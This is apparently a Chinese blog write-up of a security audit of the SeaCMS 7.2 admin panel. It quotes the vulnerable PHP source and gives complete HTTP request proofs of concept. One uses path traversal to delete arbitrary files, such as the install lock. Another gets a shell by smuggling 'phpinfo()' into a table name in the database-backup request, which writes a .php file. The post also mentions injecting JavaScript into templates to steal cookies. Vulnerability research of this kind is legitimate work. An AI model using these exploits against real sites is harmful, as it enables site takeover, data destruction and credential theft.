Seacms7.2-任意文件删除&Getshell(后台篇)

code:https://www.seacms.net
Version:7.2

0x01 前言

小伙伴在群里丢了个站说指纹识别出来是seacms 百度找到的已知漏洞均无效 于是就审计一下咯。

本来想照样黑盒测试 发现前台在测74cms任意文件夹删除时payload的目录没注意多写了两层 平常积累的各种工具 写的代码全被格了 没有备份...

![B7C804FC7B1293C44690B9E4EA2636A0]

0x02 过程

打开代码目录注意到版本号和dedecms一样 写到了ver.txt里 实战中可先看一下版本 再使用对应exp。

版本查看:

http://host.com/data/admin/ver.txt

安装完发现后台目录并不是有规律的单词一类的 看了下/install/index.php文件的代码第279-299中有个randomkeys函数

function randomkeys($length)   
    {   
    $pattern = 'abcdefgh1234567890jklmnopqrstuvwxyz';  
    for($i=0;$i<$length;$i++)   
    {   
        $key .= $pattern{mt_rand(0,35)}; 
    }   
    return $key;   
    }

    $newadminname=randomkeys(6);
    $jpath='../admin';
    $xpath='../'.$newadminname;
    $cadmin=rename($jpath,$xpath);
    if($cadmin==true){$cadmininfo='【重要】:后台管理地址:'.$baseurl.'/'.$newadminname;}
    else{$cadmininfo='【重要】:后台管理地址:'.$baseurl.'/admin';}

    include('./templates/step-5.html');
    exit();

}

randomkeys函数是生成随机字符串的 $newadminname调用并取了一个六位的字符串 随后将默认的admin目录重命名为这个随机的字符串。bp爆破payload设置方式如下:

0x02_1 任意文件删除

看到后台目录下的admin_template.php时发现法:
前30行代码为

<?php
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
    $action = '';
}

$dirTemplate="../templets";

if($action=='edit')
{
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许编辑templets目录!","admin_template.php");
        exit;
    }
    $filetype=getfileextend($filedir);
    if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
    {
        ShowMsg("操作被禁止!","admin_template.php");
        exit;
    }
    $filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
    $content=loadFile($filedir);
    $content = m_eregi_replace("<textarea","##textarea",$content);
    $content = m_eregi_replace("</textarea","##/textarea",$content);
    $content = m_eregi_replace("<form","##form",$content);
    $content = m_eregi_replace("</form","##/form",$content);
    include(sea_ADMIN.'/templets/admin_template.htm');
    exit();
}

$dirTemplate固定了仅为../templets目录 并在编辑前取了路径的前11位字符串来和../templets对比 如果不等就提示只允许编辑templets目录!那么你不允许我编辑../templets前的路径来遍历文件目录 我编辑后面的来遍历呢?

的确可行 但是没法编辑或者读文件 因为

if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
    {
        ShowMsg("操作被禁止!","admin_template.php");
        exit;
    }

在编辑或读取文件后程序会先验证一遍文件后缀 限制了紧紧允许编辑html htm js css txt这四种文件 实战中此处可利用来插入js代码 获取cookie 维权使用。

跟随看到下面的第114-132行

elseif($action=='del')
{
    if($filedir == '')
    {
        ShowMsg('未指定要删除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
        exit;
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目录不存在!","admin_template.php");
        exit;
    }
    unlink($filedir);
    ShowMsg("操作成功!","admin_template.php?path=".$folder);
    exit;
}

可以注意到此处并未像上面一样限制后缀 即可即可遍历到上级目录取删除指定任意文件。

POC(删除install_lock.txt文件):

GET /qdybap/admin_template.php?action=del&filedir=../templets/default/images/../../../install/install_lock.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/qdybap/admin_template.php?path=../templets/default/images
Connection: close
Cookie: think_template=default; __tins__19820877=%7B%22sid%22%3A%201546784203337%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201546786104291%7D; __51cke__=; __51laig__=6; PHPSESSID=5322944de96922c98817ca8b2463c379; __tins__19820873=%7B%22sid%22%3A%201546784394633%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201546786703612%7D
Upgrade-Insecure-Requests: 1

效果:

跟随看到下面的代码 看到第164行代码为:

createTextFile($content,$filedir."/self_".$name.".html");

创建的文件的后缀直接写死了的 这意味着无法通过此处写入shell。
那么就没办法了么?

0x02_2 Getshell

关于Getshell 笔者从中午一点 一直研究到下午五点 终于终于绕过重重限制了!!!

0x02_2_1 第一次绝望

先看上传的限制:

/include/uploadsafe.inc.php: 
   12  //为了防止用户通过注入的可能性改动了数据库 
   13: //这里强制限定的某些文件类型禁止上传
   14  $cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
   15  $keyarr = array('name','type','tmp_name','size');

直接写死 不允许上传php文件

后台目录下的/uploads.php:

第48行:

var $allowExts = array('jpg', 'gif',  'png', 'rar', 'zip', 'bmp');

白名单写死

0x02_2_2 第二次绝望

最让人绝望的是另一处

看起来是可以改配置的

实际上

/Users/CoolCat/php/qdybap/admin_config_mark.php第25-52行

if(is_uploaded_file($newimg))
    {
        $allowimgtype= explode('|',$cfg_imgtype);
        $finfo=pathinfo($newimg_name);
        $imgfile_type = $finfo['extension'];
        if(!in_array($imgfile_type,$allowimgtype))
        {
            ShowMsg("上传的图片格式错误,请使用 {$cfg_photo_support}格式的其中一种!","-1");
            exit();
        }
        if($imgfile_type=='image/xpng')
        {
            $shortname = ".png";
        }
        else if($imgfile_type=='image/gif')
        {
            $shortname = ".gif";
        }
        else if($imgfile_type=='image/jpeg')
        {
            $shortname = ".jpg";
        }
        else 
        {
            $shortname = ".gif";
        }
        $photo_markimg = 'mark'.$shortname;
        @move_uploaded_file($newimg,sea_DATA."/mark/".$photo_markimg);

严格限制死的 配置的确写出来了 但是仅仅作了一个提示而已 实际上传过程中固定只能上传jpg|gif|png 而且过了了单引号 无法通过此处写出shell

给你希望又让你绝望

0x02_2_3 第三次绝望

于是笔者又寄希望于另一处

通过sql的outfile写出shell文件。但是

看到/include/sql.class.php的545-638行

//如果是普通查询语句,直接过滤一些特殊语法
    if($querytype=='select')
    {
        $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

        //$notallow2 = "--|/\*";
        if(m_eregi($notallow1,$db_string))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
            exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
        }
    }

    //完整的SQL检查
    while (true)
    {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === false)
        {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        while (true)
        {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === false)
            {
                break;
            }
            elseif ($pos2 == false || $pos2 > $pos1)
            {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="union detect";
    }

    //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
    elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
    {
        $fail = true;
        $error="comment detect";
    }

    //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
    elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="slown down detect";
    }
    elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="slown down detect";
    }
    elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="file fun detect";
    }
    elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="file fun detect";
    }

    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
    {
        $fail = true;
        $error="sub select detect";
    }
    if (!empty($fail))
    {
        fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
    }
    else
    {
        return $db_string;
    }

限制得死死的

而且是两层waf

那么真的没办法了么?

0x02_2_4 拨云见雾

笔者在测试数据库备份时注意到备份文件是以php为后缀的 这样的好处是可以防止数据库备份被扫描下载

既然是php文件 那么能不能通过修改数据库再备份到getshell呢?

Poc:

POST /qdybap/ebak/phomebak.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/qdybap/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea
Content-Type: application/x-www-form-urlencoded
Content-Length: 1157
Connection: close
Cookie: think_template=default; __tins__19820877=%7B%22sid%22%3A%201546784203337%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201546786104291%7D; __51cke__=; __51laig__=7; PHPSESSID=5322944de96922c98817ca8b2463c379; __tins__19820873=%7B%22sid%22%3A%201546849264391%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201546851064391%7D
Upgrade-Insecure-Requests: 1

phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_20190107_uLDbip&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_admin&tablename%5B%5D=sea_arcrank&tablename%5B%5D=sea_buy&tablename%5B%5D=sea_cck&tablename%5B%5D=sea_co_cls&tablename%5B%5D=sea_co_config&tablename%5B%5D=sea_co_data&tablename%5B%5D=sea_co_filters&tablename%5B%5D=sea_co_news&tablename%5B%5D=sea_co_type&tablename%5B%5D=sea_co_url&tablename%5B%5D=sea_comment&tablename%5B%5D=sea_content&tablename%5B%5D=sea_count&tablename%5B%5D=sea_crons&tablename%5B%5D=sea_data&tablename%5B%5D=sea_erradd&tablename%5B%5D=sea_favorite&tablename%5B%5D=sea_flink&tablename%5B%5D=sea_guestbook&tablename%5B%5D=sea_ie&tablename%5B%5D=sea_jqtype&tablename%5B%5D=sea_member&tablename%5B%5D=sea_member_group&tablename%5B%5D=sea_myad&tablename%5B%5D=sea_mytag&tablename%5B%5D=sea_news&tablename%5B%5D=sea_playdata&tablename%5B%5D=sea_search_keywords&tablename%5B%5D=sea_tags&tablename%5B%5D=sea_temp&tablename%5B%5D=sea_topic&tablename%5B%5D=sea_type&tablename%5B%5D=phpinfo()&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

此处笔者也遇到个坑 构造payload时要兼顾截图中圈起来的右上和做下两处 否则会出错(错误代码500)结果发现phpinfo() 不用改 刚好就可以用了。

至此 该CMS后台审计结束。

0x03 总结

笔者在fb上看到过该CMS的作者在公布其0day的文章下看到其心平气和的点评漏洞 估计其本身也接触安全这块 后台限制的确写得六 两层waf 小弟佩服!

源链接

Hacking more

...